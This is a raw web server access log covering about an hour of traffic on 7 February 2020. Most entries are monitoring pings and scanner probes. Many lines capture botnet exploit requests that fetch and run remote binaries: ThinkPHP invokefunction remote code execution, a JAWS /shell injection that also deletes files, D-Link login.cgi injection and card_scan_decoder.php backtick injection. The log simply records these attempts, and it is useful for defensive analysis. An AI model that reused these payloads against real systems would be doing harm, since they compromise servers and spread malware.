185.100.87.248 - - [07/Feb/2020:20:02:44 +0100] "GET /nmaplowercheck1581102163 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.248 - - [07/Feb/2020:20:02:44 +0100] "GET /HNAP1 HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.248 - - [07/Feb/2020:20:02:44 +0100] "GET /evox/about HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.248 - - [07/Feb/2020:20:02:44 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.248 - - [07/Feb/2020:20:02:45 +0100] "POST /sdk HTTP/1.1" 404 308 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.248 - - [07/Feb/2020:20:02:45 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
185.100.87.248 - - [07/Feb/2020:20:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
115.49.202.131 - - [07/Feb/2020:20:03:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:20:03:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:04:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.69.80 - - [07/Feb/2020:20:05:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:20:05:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.100.87.250 - - [07/Feb/2020:20:06:01 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
2.180.31.164 - - [07/Feb/2020:20:06:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
185.100.87.250 - - [07/Feb/2020:20:06:33 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.250 - - [07/Feb/2020:20:06:33 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
185.100.87.250 - - [07/Feb/2020:20:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
185.100.87.250 - - [07/Feb/2020:20:06:33 +0100] "GET /nmaplowercheck1581102393 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.250 - - [07/Feb/2020:20:06:33 +0100] "GET /evox/about HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.250 - - [07/Feb/2020:20:06:35 +0100] "GET /HNAP1 HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.250 - - [07/Feb/2020:20:06:35 +0100] "POST /sdk HTTP/1.1" 404 308 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:20:06:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.42 - - [07/Feb/2020:20:06:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
103.125.93.150 - - [07/Feb/2020:20:07:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:20:07:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.240.205.34 - - [07/Feb/2020:20:07:45 +0100] "Gh0st\xad" 501 321 "-" "-"
42.117.20.96 - - [07/Feb/2020:20:08:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.100.87.249 - - [07/Feb/2020:20:08:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [07/Feb/2020:20:08:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:09:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.100.87.249 - - [07/Feb/2020:20:10:16 +0100] "POST /sdk HTTP/1.1" 404 308 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.249 - - [07/Feb/2020:20:10:16 +0100] "GET /nmaplowercheck1581102615 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.249 - - [07/Feb/2020:20:10:16 +0100] "GET /evox/about HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.249 - - [07/Feb/2020:20:10:17 +0100] "GET /HNAP1 HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.249 - - [07/Feb/2020:20:10:17 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
185.100.87.249 - - [07/Feb/2020:20:10:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
185.100.87.249 - - [07/Feb/2020:20:10:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
124.43.8.138 - - [07/Feb/2020:20:10:21 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [07/Feb/2020:20:10:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:11:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.240.205.34 - - [07/Feb/2020:20:11:40 +0100] "Gh0st\xad" 501 321 "-" "-"
212.91.246.72 - - [07/Feb/2020:20:12:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:13:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:14:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.0.196.128 - - [07/Feb/2020:20:14:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
109.172.56.202 - - [07/Feb/2020:20:15:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:20:15:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:16:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.42.167.78 - - [07/Feb/2020:20:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:20:17:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:18:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:19:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.62.171 - - [07/Feb/2020:20:20:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:20:20:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.149.34.10 - - [07/Feb/2020:20:21:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:20:21:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.245.48 - - [07/Feb/2020:20:22:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:20:22:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:23:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:24:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:25:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.24.187.209 - - [07/Feb/2020:20:26:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:20:26:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.116.94.41 - - [07/Feb/2020:20:26:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:20:27:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.150.107.106 - - [07/Feb/2020:20:28:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:20:28:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:29:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:30:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
105.159.125.184 - - [07/Feb/2020:20:31:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:20:31:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:32:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.116.85.198 - - [07/Feb/2020:20:33:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:20:33:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:34:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.14.34.90 - - [07/Feb/2020:20:35:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
116.111.84.246 - - [07/Feb/2020:20:35:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:20:35:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:36:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.17.248.89 - - [07/Feb/2020:20:36:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:20:37:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.23.40.252 - - [07/Feb/2020:20:38:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.249.90 - - [07/Feb/2020:20:38:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:20:38:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.128.121.210 - - [07/Feb/2020:20:38:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
27.75.125.229 - - [07/Feb/2020:20:38:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
36.78.26.21 - - [07/Feb/2020:20:38:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:20:39:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:40:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.65.76 - - [07/Feb/2020:20:41:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:20:41:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:42:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.218.200.157 - - [07/Feb/2020:20:43:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:20:43:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:44:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:45:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.86.25.151 - - [07/Feb/2020:20:45:52 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 342 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [07/Feb/2020:20:46:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:47:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.33.1.251 - - [07/Feb/2020:20:47:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
114.33.1.251 - - [07/Feb/2020:20:47:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:20:48:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:49:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:50:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:51:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:52:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.246.165.150 - - [07/Feb/2020:20:52:57 +0100] "GET /frameset/left.htm HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
64.246.165.150 - - [07/Feb/2020:20:52:57 +0100] "GET /frameset/top.htm HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
64.246.165.150 - - [07/Feb/2020:20:52:57 +0100] "GET /neue_seite_1.htm HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:59.0) Gecko/20100101 Firefox/59.0"
222.132.56.89 - - [07/Feb/2020:20:53:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:20:53:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.34.152.106 - - [07/Feb/2020:20:54:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:20:54:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:55:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:56:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:57:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:58:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:20:59:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:00:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.157.193.244 - - [07/Feb/2020:21:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
81.158.203.13 - - [07/Feb/2020:21:01:36 +0100] "O" 501 316 "-" "-"
212.91.246.72 - - [07/Feb/2020:21:01:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.180.208.154 - - [07/Feb/2020:21:01:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [07/Feb/2020:21:01:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [07/Feb/2020:21:02:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [07/Feb/2020:21:02:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
138.118.101.57 - - [07/Feb/2020:21:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [07/Feb/2020:21:02:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.180.208.154 - - [07/Feb/2020:21:02:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
138.97.183.181 - - [07/Feb/2020:21:03:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:21:03:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.69.167 - - [07/Feb/2020:21:03:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.10.168.175 - - [07/Feb/2020:21:04:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:21:04:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.80.225.69 - - [07/Feb/2020:21:05:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:21:05:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
